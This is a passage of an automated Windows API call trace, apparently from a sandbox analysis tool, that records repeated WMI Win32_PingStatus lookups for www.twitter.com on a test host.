(bstr="Win32_PingStatus") returned 0x20 [0161.646] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0161.646] IWbemClassObject:Get (in: This=0x5f765d8, wszName="__SUPERCLASS", lFlags=0, pVal=0x5bde858*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2274a08*=0, plFlavor=0x2274a0c*=0 | out: pVal=0x5bde858*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2274a08*=8, plFlavor=0x2274a0c*=64) returned 0x0 [0161.647] IWbemClassObject:Get (in: This=0x5f765d8, wszName="__DYNASTY", lFlags=0, pVal=0x5bde858*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2274a30*=0, plFlavor=0x2274a34*=0 | out: pVal=0x5bde858*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x2274a30*=8, plFlavor=0x2274a34*=64) returned 0x0 [0161.647] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0161.647] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0161.647] IWbemClassObject:Get (in: This=0x5f765d8, wszName="__RELPATH", lFlags=0, pVal=0x5bde858*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2274a88*=0, plFlavor=0x2274a8c*=0 | out: pVal=0x5bde858*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x2274a88*=8, plFlavor=0x2274a8c*=64) returned 0x0 [0161.647] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a6 [0161.647] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a6 [0161.647] IWbemClassObject:Get (in: This=0x5f765d8, wszName="__PROPERTY_COUNT", lFlags=0, pVal=0x5bde858*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2274c70*=0, plFlavor=0x2274c74*=0 | out: pVal=0x5bde858*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x18, varVal2=0x0), pType=0x2274c70*=3, plFlavor=0x2274c74*=64) returned 0x0 [0161.647] IWbemClassObject:Get (in: This=0x5f765d8, wszName="__DERIVATION", lFlags=0, pVal=0x5bde858*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2274ca4*=0, plFlavor=0x2274ca8*=0 | out: pVal=0x5bde858*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5f8af10*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x5fc3dd0, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x2274ca4*=8200, plFlavor=0x2274ca8*=64) returned 0x0 [0161.648] IWbemClassObject:Get (in: This=0x5f765d8, wszName="__SERVER", lFlags=0, pVal=0x5bde858*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2274cd8*=0, plFlavor=0x2274cdc*=0 | out: pVal=0x5bde858*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x2274cd8*=8, plFlavor=0x2274cdc*=64) returned 0x0 [0161.648] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0161.648] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0161.648] IWbemClassObject:Get (in: This=0x5f765d8, wszName="__NAMESPACE", lFlags=0, pVal=0x5bde858*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2274d24*=0, plFlavor=0x2274d28*=0 | out: pVal=0x5bde858*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x2274d24*=8, plFlavor=0x2274d28*=64) returned 0x0 [0161.648] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0161.648] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0161.648] IWbemClassObject:Get (in: This=0x5f765d8, wszName="__PATH", lFlags=0, pVal=0x5bde858*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2274d70*=0, plFlavor=0x2274d74*=0 | out: pVal=0x5bde858*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x2274d70*=8, plFlavor=0x2274d74*=64) returned 0x0 [0161.648] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d6 [0161.648] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d6 [0161.648] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5df070, puCount=0x5bde89c | out: puCount=0x5bde89c*=0x2) returned 0x0 [0161.648] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde898*=0x0, pszText=0x0 | out: puBuffLength=0x5bde898*=0xf, pszText=0x0) returned 0x0 [0161.649] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde898*=0xf, pszText="00000000000000" | out: puBuffLength=0x5bde898*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0161.649] IWbemClassObject:Get (in: This=0x5f765d8, wszName="BufferSize", lFlags=0, pVal=0x5bde898*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2274fa8*=0, plFlavor=0x2274fac*=0 | out: pVal=0x5bde898*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x20, varVal2=0x0), pType=0x2274fa8*=19, plFlavor=0x2274fac*=0) returned 0x0 [0161.649] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5df070, puCount=0x5bde894 | out: puCount=0x5bde894*=0x2) returned 0x0 [0161.649] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde890*=0x0, pszText=0x0 | out: puBuffLength=0x5bde890*=0xf, pszText=0x0) returned 0x0 [0161.649] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde890*=0xf, pszText="00000000000000" | out: puBuffLength=0x5bde890*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0161.649] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5df070, puCount=0x5bde894 | out: puCount=0x5bde894*=0x2) returned 0x0 [0161.649] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde890*=0x0, pszText=0x0 | out: puBuffLength=0x5bde890*=0xf, pszText=0x0) returned 0x0 [0161.649] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde890*=0xf, pszText="00000000000000" | out: puBuffLength=0x5bde890*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0161.649] IWbemClassObject:GetNames (in: This=0x5f765d8, wszQualifierName=0x0, lFlags=48, pQualifierVal=0x5bde89c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pNames=0x5bde890 | out: pNames=0x5bde890*="\x01ƀ\x04") returned 0x0 [0161.649] SafeArrayGetDim (psa=0x5f8b000) returned 0x1 [0161.649] SafeArrayGetDim (psa=0x5f8b000) returned 0x1 [0161.649] SafeArrayGetLBound (in: psa=0x5f8b000, nDim=0x1, plLbound=0x5bde728 | out: plLbound=0x5bde728) returned 0x0 [0161.649] SysStringByteLen (bstr="__GENUS") returned 0xe [0161.650] SysStringByteLen (bstr="__GENUS") returned 0xe [0161.650] SysStringByteLen (bstr="__CLASS") returned 0xe [0161.650] SysStringByteLen (bstr="__CLASS") returned 0xe [0161.650] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0161.650] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0161.650] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0161.650] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0161.650] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0161.650] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0161.650] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0161.650] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0161.650] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0161.650] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0161.650] SysStringByteLen (bstr="__SERVER") returned 0x10 [0161.650] SysStringByteLen (bstr="__SERVER") returned 0x10 [0161.650] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0161.650] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0161.650] SysStringByteLen (bstr="__PATH") returned 0xc [0161.650] SysStringByteLen (bstr="__PATH") returned 0xc [0161.650] IWbemClassObject:Get (in: This=0x5f765d8, wszName="__GENUS", lFlags=0, pVal=0x5bde88c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x227535c*=0, plFlavor=0x2275360*=0 | out: pVal=0x5bde88c*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x227535c*=3, plFlavor=0x2275360*=64) returned 0x0 [0161.651] IWbemClassObject:Get (in: This=0x5f765d8, wszName="__CLASS", lFlags=0, pVal=0x5bde88c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2275390*=0, plFlavor=0x2275394*=0 | out: pVal=0x5bde88c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x2275390*=8, plFlavor=0x2275394*=64) returned 0x0 [0161.651] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0161.651] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0161.651] IWbemClassObject:Get (in: This=0x5f765d8, wszName="__SUPERCLASS", lFlags=0, pVal=0x5bde88c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22753e8*=0, plFlavor=0x22753ec*=0 | out: pVal=0x5bde88c*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22753e8*=8, plFlavor=0x22753ec*=64) returned 0x0 [0161.651] IWbemClassObject:Get (in: This=0x5f765d8, wszName="__DYNASTY", lFlags=0, pVal=0x5bde88c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2275410*=0, plFlavor=0x2275414*=0 | out: pVal=0x5bde88c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x2275410*=8, plFlavor=0x2275414*=64) returned 0x0 [0161.651] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0161.651] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0161.651] IWbemClassObject:Get (in: This=0x5f765d8, wszName="__RELPATH", lFlags=0, pVal=0x5bde88c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2275468*=0, plFlavor=0x227546c*=0 | out: pVal=0x5bde88c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x2275468*=8, plFlavor=0x227546c*=64) returned 0x0 [0161.651] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a6 [0161.651] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a6 [0161.651] IWbemClassObject:Get (in: This=0x5f765d8, wszName="__PROPERTY_COUNT", lFlags=0, pVal=0x5bde88c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2275644*=0, plFlavor=0x2275648*=0 | out: pVal=0x5bde88c*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x18, varVal2=0x0), pType=0x2275644*=3, plFlavor=0x2275648*=64) returned 0x0 [0161.652] IWbemClassObject:Get (in: This=0x5f765d8, wszName="__DERIVATION", lFlags=0, pVal=0x5bde88c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2275678*=0, plFlavor=0x227567c*=0 | out: pVal=0x5bde88c*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5f8af70*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x5fc3dd0, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x2275678*=8200, plFlavor=0x227567c*=64) returned 0x0 [0161.652] IWbemClassObject:Get (in: This=0x5f765d8, wszName="__SERVER", lFlags=0, pVal=0x5bde88c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22756ac*=0, plFlavor=0x22756b0*=0 | out: pVal=0x5bde88c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x22756ac*=8, plFlavor=0x22756b0*=64) returned 0x0 [0161.652] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0161.652] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0161.652] IWbemClassObject:Get (in: This=0x5f765d8, wszName="__NAMESPACE", lFlags=0, pVal=0x5bde88c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22756f8*=0, plFlavor=0x22756fc*=0 | out: pVal=0x5bde88c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x22756f8*=8, plFlavor=0x22756fc*=64) returned 0x0 [0161.652] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0161.652] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0161.652] IWbemClassObject:Get (in: This=0x5f765d8, wszName="__PATH", lFlags=0, pVal=0x5bde88c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2275744*=0, plFlavor=0x2275748*=0 | out: pVal=0x5bde88c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x2275744*=8, plFlavor=0x2275748*=64) returned 0x0 [0161.653] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d6 [0161.653] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d6 [0161.653] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5df070, puCount=0x5bde8d0 | out: puCount=0x5bde8d0*=0x2) returned 0x0 [0161.653] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde8cc*=0x0, pszText=0x0 | out: puBuffLength=0x5bde8cc*=0xf, pszText=0x0) returned 0x0 [0161.653] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde8cc*=0xf, pszText="00000000000000" | out: puBuffLength=0x5bde8cc*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0161.653] IWbemClassObject:Get (in: This=0x5f765d8, wszName="BufferSize", lFlags=0, pVal=0x5bde8cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x227597c*=0, plFlavor=0x2275980*=0 | out: pVal=0x5bde8cc*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x20, varVal2=0x0), pType=0x227597c*=19, plFlavor=0x2275980*=0) returned 0x0 [0161.653] IWbemClassObject:Get (in: This=0x5f765d8, wszName="BufferSize", lFlags=0, pVal=0x5bde980*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x227597c*=19, plFlavor=0x2275980*=0 | out: pVal=0x5bde980*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x20, varVal2=0x0), pType=0x227597c*=19, plFlavor=0x2275980*=0) returned 0x0 [0161.654] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5df070, puCount=0x5bde860 | out: puCount=0x5bde860*=0x2) returned 0x0 [0161.654] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde85c*=0x0, pszText=0x0 | out: puBuffLength=0x5bde85c*=0xf, pszText=0x0) returned 0x0 [0161.654] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde85c*=0xf, pszText="00000000000000" | out: puBuffLength=0x5bde85c*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0161.654] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5df070, puCount=0x5bde860 | out: puCount=0x5bde860*=0x2) returned 0x0 [0161.654] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde85c*=0x0, pszText=0x0 | out: puBuffLength=0x5bde85c*=0xf, pszText=0x0) returned 0x0 [0161.654] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde85c*=0xf, pszText="00000000000000" | out: puBuffLength=0x5bde85c*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0161.654] IWbemClassObject:GetNames (in: This=0x5f765d8, wszQualifierName=0x0, lFlags=48, pQualifierVal=0x5bde868*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pNames=0x5bde85c | out: pNames=0x5bde85c*="\x01ƀ\x04") returned 0x0 [0161.654] SafeArrayGetDim (psa=0x5f8af10) returned 0x1 [0161.654] SafeArrayGetDim (psa=0x5f8af10) returned 0x1 [0161.654] SafeArrayGetLBound (in: psa=0x5f8af10, nDim=0x1, plLbound=0x5bde6f4 | out: plLbound=0x5bde6f4) returned 0x0 [0161.654] SysStringByteLen (bstr="__GENUS") returned 0xe [0161.654] SysStringByteLen (bstr="__GENUS") returned 0xe [0161.654] SysStringByteLen (bstr="__CLASS") returned 0xe [0161.654] SysStringByteLen (bstr="__CLASS") returned 0xe [0161.654] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0161.654] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0161.654] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0161.655] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0161.655] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0161.655] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0161.655] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0161.655] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0161.655] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0161.655] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0161.655] SysStringByteLen (bstr="__SERVER") returned 0x10 [0161.655] SysStringByteLen (bstr="__SERVER") returned 0x10 [0161.655] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0161.655] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0161.655] SysStringByteLen (bstr="__PATH") returned 0xc [0161.655] SysStringByteLen (bstr="__PATH") returned 0xc [0161.655] IWbemClassObject:Get (in: This=0x5f765d8, wszName="__GENUS", lFlags=0, pVal=0x5bde858*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2275f24*=0, plFlavor=0x2275f28*=0 | out: pVal=0x5bde858*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x2275f24*=3, plFlavor=0x2275f28*=64) returned 0x0 [0161.655] IWbemClassObject:Get (in: This=0x5f765d8, wszName="__CLASS", lFlags=0, pVal=0x5bde858*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2275f58*=0, plFlavor=0x2275f5c*=0 | out: pVal=0x5bde858*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x2275f58*=8, plFlavor=0x2275f5c*=64) returned 0x0 [0161.656] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0161.656] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0161.656] IWbemClassObject:Get (in: This=0x5f765d8, wszName="__SUPERCLASS", lFlags=0, pVal=0x5bde858*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2275fb0*=0, plFlavor=0x2275fb4*=0 | out: pVal=0x5bde858*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2275fb0*=8, plFlavor=0x2275fb4*=64) returned 0x0 [0161.656] IWbemClassObject:Get (in: This=0x5f765d8, wszName="__DYNASTY", lFlags=0, pVal=0x5bde858*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2275fd8*=0, plFlavor=0x2275fdc*=0 | out: pVal=0x5bde858*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x2275fd8*=8, plFlavor=0x2275fdc*=64) returned 0x0 [0161.656] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0161.656] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0161.656] IWbemClassObject:Get (in: This=0x5f765d8, wszName="__RELPATH", lFlags=0, pVal=0x5bde858*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2276030*=0, plFlavor=0x2276034*=0 | out: pVal=0x5bde858*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x2276030*=8, plFlavor=0x2276034*=64) returned 0x0 [0161.656] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a6 [0161.656] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a6 [0161.656] IWbemClassObject:Get (in: This=0x5f765d8, wszName="__PROPERTY_COUNT", lFlags=0, pVal=0x5bde858*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x227620c*=0, plFlavor=0x2276210*=0 | out: pVal=0x5bde858*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x18, varVal2=0x0), pType=0x227620c*=3, plFlavor=0x2276210*=64) returned 0x0 [0161.657] IWbemClassObject:Get (in: This=0x5f765d8, wszName="__DERIVATION", lFlags=0, pVal=0x5bde858*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2276240*=0, plFlavor=0x2276244*=0 | out: pVal=0x5bde858*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5f8afd0*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x5fc3dd0, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x2276240*=8200, plFlavor=0x2276244*=64) returned 0x0 [0161.657] IWbemClassObject:Get (in: This=0x5f765d8, wszName="__SERVER", lFlags=0, pVal=0x5bde858*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2276274*=0, plFlavor=0x2276278*=0 | out: pVal=0x5bde858*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x2276274*=8, plFlavor=0x2276278*=64) returned 0x0 [0161.657] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0161.657] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0161.657] IWbemClassObject:Get (in: This=0x5f765d8, wszName="__NAMESPACE", lFlags=0, pVal=0x5bde858*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22762c0*=0, plFlavor=0x22762c4*=0 | out: pVal=0x5bde858*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x22762c0*=8, plFlavor=0x22762c4*=64) returned 0x0 [0161.657] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0161.657] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0161.657] IWbemClassObject:Get (in: This=0x5f765d8, wszName="__PATH", lFlags=0, pVal=0x5bde858*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x227630c*=0, plFlavor=0x2276310*=0 | out: pVal=0x5bde858*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, 